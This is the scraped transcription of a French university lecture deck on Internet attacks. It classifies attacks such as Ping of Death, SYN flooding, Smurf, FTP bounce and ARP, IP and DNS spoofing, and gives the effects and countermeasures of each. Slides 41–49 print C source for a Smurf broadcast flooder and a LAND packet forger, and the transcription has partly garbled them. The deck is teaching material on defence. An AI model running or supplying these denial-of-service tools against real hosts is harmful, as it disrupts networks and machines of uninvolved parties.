La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Ahmed Serhrouchni ENST’Paris CNRS

Présentations similaires


Présentation au sujet: "Ahmed Serhrouchni ENST’Paris CNRS"— Transcription de la présentation:

1 Ahmed Serhrouchni ENST’Paris CNRS
Attaques Internet Ahmed Serhrouchni ENST’Paris CNRS

2 Plan Introduction Choix protocolaires Implications Typologie
Les attaques sur les choix d’implantation Les attaques sur le design des protocoles Les attaques sur les détournements et usurpations Les attaques sur les bugs des logiciels

3 Introduction.

4 Choix protocolaires. Simple Léger Pas ou peu de contrôle
Optimisation et confiance

5 Implications. Les attaques sur les protocoles de communications
exploiter les failles des protocoles IP, ICMP, TCP, UDP Les attaques sue les applications Attaquer les applications SMTP, DNS, SNMP, X-Window, NFS, HTTP, FTP Les attaques sur l’information L’écoute de données communiquées sur le réseau La modification des données communiquées sur le réseau Les attaques sur les systèmes Le vol de mot de passe L’accès aux fichiers et répertoires sans autorisation

6 Typologie. (1/2) Quelques classifications :
les effets : DoS (Denial of Service), intrusions, corruptions, les protocoles : icmp, ip, tcp, dns, … les systèmes d ’exploitation

7 Typologie. (2/2) Classification selon:
Choix d’implémentation : buffer overflow, Ping of death, land, TCP syn, Teardrop … Conception des protocoles : Smurf:, (bombing, spamming), UDP-bombing, ftp bounce, prédiction des numéros de séquence de TCP, TCP connection killing … Usurpation ou modification: sniffing, ARP spoofing, IP spoofing, TCP hijacking, spoofing, dns cache poisonning, web spoofing … Bugs : Volontaires (virus, cheval de troie …) Non volontaires (netscape server …)

8 Attaques - Les choix d ’implémentations Ping of Death
Description Ping est basé sur icmp echo/reply Taille maximum d ’un paquet IP octets ICMP est encapsulé par IP L ’attaque consiste à générer des paquets ICMP de taille (8 octets pour le header icmp et 20 octets pour le header IP) Fragmentaton à la source, le réassemblage provoque le crash du buffer de l ’émetteur

9 Attaques - Les choix d ’implémentations Ping of Death
Effet : crash ou reboot de la machine Parade: software (patches)

10 Attaques - Les choix d ’implémentations Teardrop
Les tailles de MTU différentes impliques la fragmentation des paquets Champ: identification, flags et fragment offset Attaque par altération du fragment offset Effet: crah de la machine Parade : patche

11 Attaques - Les choix d ’implémentations Land
Forge des segments TCP syn avec l ’adresse source identique à l ’adresse de la machine victime Effet : crash de la machine Parade: software ou filtrage

12 Attaques - Les choix d ’implémentations TCP SYN Flooding
L ’établissement d ’une connexion s ’effectue par un three-way handshake SYN x LISTEN SYNy, ACKx+1 SYN_RECVD ACK y+1 CONNECTED

13 Attaques - Les choix d ’implémentations TCP SYN Flooding
Allocation des structures: inpcb, tcpcb Attente dans l ’état SYN_RECVD (75s) Nombre limité de connexions dans cet état Effet: perte de connectivité Parade : réduction du timer, augmentation du nbr. de connexions semi-ouvertes, désactivations des ports inutiles, filtrage, et proxy

14 Attaques - Les choix d ’implémentations Buffer Overflow
Attaques sur les OS multitâches (unix, WNT) Pour obtenir des droits d ’accès privilégiés Processus en exécution avec les droits suid Processus en mémoire: zones (code ou texte, données, pile) La pile est alloué de façon dynamique: variables locales et pointeur sur l ’adresse retour après exécution Appel à une fonction qui fait déborder la pile Adresse retour réécrite par ce procédé

15 Attaques - Les choix d ’implémentations Buffer Overflow
Effet : crash ou obtention d ’un accès privilégié Parades: vérification du remplissage des tampons, modifications des programmes et des compilateurs (remplacement des fonctions vulnérables: copie et concaténation) modification du noyau pour marquer la pile non exécutable

16 Attaques – Le design des protocoles
Saturation des ressources systèmes : -bombing/spamming, Smurf Saturation des ressources réseau : Smurf, UDP-bombing,

17 Attaques - Le design des protocoles Email Bombing/Spamming
Envoi d ’un message répété à une même adresse Spamming variante du bombing : le message est envoyé à des centaines ou milliers d ’adresses Falsification de l ’adresse d ’origine Effets : congestion du réseau crash du serveur de messagerie indisponibilité des ressources physique

18 Attaques - Le design des protocoles Email Bombing/Spamming
Effets (suite) : indisponibilité du serveur, des ressources physique, et de l ’entrée syslog Parades : Supervision, filtrage, proxy

19 Attaques - Le design des protocoles Smurf
Envoi de ICMP echo vers une adresse broadcast dont l ’adresse source est celle de la victime Effet : congestion du réseau intermédiaire et de la victime Parades : filtrage (au niveau des trois réseaux), OS: ne pas répondre pour des adresses broadcast

20 Attaques - Le design des protocoles UDP bombing
Faire conserver deux ports qui générent du trafic (ex: chargen port 19, echo port 7) Mettre en relation le port 19 de la première victime avec le port 7 de la deuxième victime Effets : si les deux ports sont sur la même machine les performances de celle-ci se dégradent si les deux ports sont sur des machines différentes ceci provoque la congestion du réseau

21 Attaques - Le design des protocoles UDP bombing
Parades : filtrage de tous les services sur UDP à l ’exception du port 53 (dns) désactiver tous les ports udp inutiles

22 Attaques - Le design des protocoles FTP bounce
Deux ports tcp l ’un pour les commandes et l ’autre pour les données La commande PORT n1,n2,n3,n4,n5,n6 de ftp Détournement des données en changeant les paramètres ni Utilisé pour contourner un firewall Effets : intrusion dans un réseau dtournement du fltrage

23 Attaques - Le design des protocoles FTP bounce
Parades : Bien étudier l ’usage des serveurs ftp Architecture : isoler le serveur ftp Software: contrôler l ’usage de la commande PORT ( package wu-ftpd) Proxy : élimine les cdes ports ayant comme origine un service interne connu Authentification forte

24 Attaques - Le design des protocoles Prédiction des numéros de séquence de TCP
Prédire le numéro de séquence initial Etablissement d ’une connexion et mesure du RTT pour prédire l ’ISN Substitution d ’une adresse reconnue Effet : Etablissement d ’une connexion non autorisée Parade : Implémentation (un espace de numéro de séquence séparé pour chaque connexion) Authentification (IPsec)

25 Attaques - Le design des protocoles TCP connection killing
Envoi d ’un segment TCP avec le bit RST : possible uniquement si le numéro de séquence est connu Effet : Perte de connectivité Parade : Autentification (Ipsec)

26 Attaques - Les détournements et interceptions
Ecoute du trafic (sniffing ou eavesdrpping) Se faire passer pour interlocuteur légitime aux niveaux: liaison des données (ARP spoofing) réseau (IP spoofing, TCP hijacking) applicatif ( spoofing, dns spoofing, web spoofing)

27 Attaques - Les détournements et interceptions Sniffing ou eavesdropping
Ecoute indiscrète des données sur un réseau Sur le chemin des communicants Attaque passive, les informations recueillis peuvent servir pour une attaque active Effet : perte de confidentialité et donc d ’information sensible (mot de passe) Parades : Chiffrement (Ipsec) Architecture de réseau

28 Attaques - Les détournements et interceptions ARP spoofing
Répondre à une trame ARP who is? Par une trame ARP reply avec une adresse MAC qui ne correspond pas à l ’adresse IP Possibilité de prendre en compte un ARP reply sans qu’i y ait eu auparavant de ARP who is? ARP est sans état,l ’attaquant peu anticipé sur les requêtes Effets : Perte de connectivité réseau redirection du trafic

29 Attaques - Les détournements et interceptions ICMP redirect et destination unreable
Utilisation du message ICMP-redirect Un pirate envoie à une machine un ICMP-redirect lui indiquant un autre chemin à suivre Utilisation du message ICMP-unreachable destination Un pirate peut envoyer ce message vers une machine La machine ne peut plus joindre ce réseau

30 Attaques - Les détournements et interceptions ICMP redirect et destination unreable
Effets : perte de connectivité déni de service Parades : filtrage authentification (Ipsec)

31 Attaques - Les détournements et interceptions IP spoofing
IP spoofing correspond à l ’usurpation d ’adresse IP se S par A vers D Détournement du trafic si A n ’est pas sur le même chemin entre S et D Nécessite de prédire le numéro de séquence Possibilité d ’utiliser : le routage par la source ICMP redirect protocole de routage RIP

32 Attaques - Les détournements et interceptions IP spoofing

33 Attaques - Les détournements et interceptions IP spoofing
Effet : prendre les privilèges de S Parades : Configuration pour ICMP redirect et RIP Filtrage (source routing, adresse IP) Authentification (Ipsec)

34 Attaques - Les détournements et interceptions TCP hijacking
Connexion TCP entre S et D A se substitue à S Utilisation de plusieurs attaques : IP spoofing, ICMP redirect, TCP connection killing Effets : détournement d ’une communication autorisée Contourne les protections d ’authentificaion forte de l ’utilisateur SKEY et Kerberos

35 Attaques - Les détournements et interceptions TCP hijacking
Parade : Authentification (Ipsec)

36 Attaques - Les détournements et interceptions Email spoofing
Absence d ’authentification Aucun mécanisme d ’authentification auprès des serveurs mails, de plus vous ne savez pas qui réellement vous écrit Pas de garantie d ’intégrité de message Toute personne interceptant le message peut en modifier le contenu Effets : usurpation d ’adresse (demande de changement d ’information sensible) cacher son identité pour une attaque

37 Attaques - Les détournements et interceptions Email spoofing
Parades : Architecture (utiliser un firewall comme frontal) Empêcher toute connexion directe sur le port SMTP par configuration du mail delivery deamon Authentification (par signature : PGP, SSL, S/MIME)

38 Attaques - Les détournements et interceptions DNS spoofing
Altérer directement les tables d ’un serveur de noms Communiquer de mauvaises cache poisoning Effets : détourner le trafic vers l ’attaquant (applications sensibles : messagerie et web) Connexions illicites par applets Parades : DNSsec une signature associée à chaque entrée Pour les applets java vérifier les diff. adresses

39 Attaques - Les détournements et interceptions Web spoofing
Attaque de type man in middle : le serveur de l ’attaquant détourne les requêtes HTTP de la victime La victime navigue dans un faux web Initialisation de l ’attaque: l ’attaquant amène la victime à visiter son site (par ou par sa figuration dans une indexation d ’un moteur de recherche) la victime télécharche un script java Ce script java détourne toutes les requêtes de la victime vers l ’attaquant

40 Attaques - Les détournements et interceptions Web spoofing
Effets : surveillance de l ’activité de la victime, et vol de données altération des données, Parades : désactivation de javascript proxy : repère et refuse des echanges HTTP avec réécriture des URL

41 Exemples: Smurf (1/5) #include <signal.h>
#include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netdb.h> void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;

42 Exemples: Smurf (2/5) char *bcastaddr[] = {
" ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", " ", NULL };

43 Exemples: Smurf (3/5) if (argc < 6) usage(argv[0]);
if ((he = gethostbyname(argv[1])) == NULL) { perror("resolution source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

44 Exemples: Smurf (4/5) for (i = 0; i < num || !num; i++) {
if (!(i % 25)) { printf("."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); } void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

45 Exemples: Smurf (5/5) memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); }

46 Exemples: LAND (1/4) int main(int argc,char * * argv) {
struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr)); struct pseudohdr pseudoheader; if(argc<3) fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); }

47 Exemples: LAND (2/4) bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET; if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); } if((sin.sin_port=htons(atoi(argv[2])))==0) fprintf(stderr,"unknown port %s\n",argv[2]);

48 Exemples: LAND (3/4) if((sock=socket(AF_INET,SOCK_RAW,255))==-1) {
fprintf(stderr,"couldn't allocate raw socket\n"); return(-1); } bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->version=4; ipheader->ihl=sizeof(struct iphdr)/4; ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr)); ipheader->id=htons(0xF1C); ipheader->ttl=255; ipheader->protocol=IP_TCP; ipheader->saddr=sin.sin_addr.s_addr; ipheader->daddr=sin.sin_addr.s_addr;

49 Exemples: LAND (4/4) tcpheader->th_sport=sin.sin_port;
tcpheader->th_dport=sin.sin_port; tcpheader->th_seq=htonl(0xF1C); tcpheader->th_flags=TH_SYN; tcpheader->th_off=sizeof(struct tcphdr)/4; tcpheader->th_win=htons(2048); bzero(&pseudoheader,12+sizeof(struct tcphdr)); pseudoheader.saddr.s_addr=sin.sin_addr.s_addr; pseudoheader.daddr.s_addr=sin.sin_addr.s_addr; pseudoheader.protocol=6; pseudoheader.length=htons(sizeof(struct tcphdr)); bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr)); tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr)); sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in)); close(sock); return(0); }

50 Conclusion Questions et débat


Télécharger ppt "Ahmed Serhrouchni ENST’Paris CNRS"

Présentations similaires


Annonces Google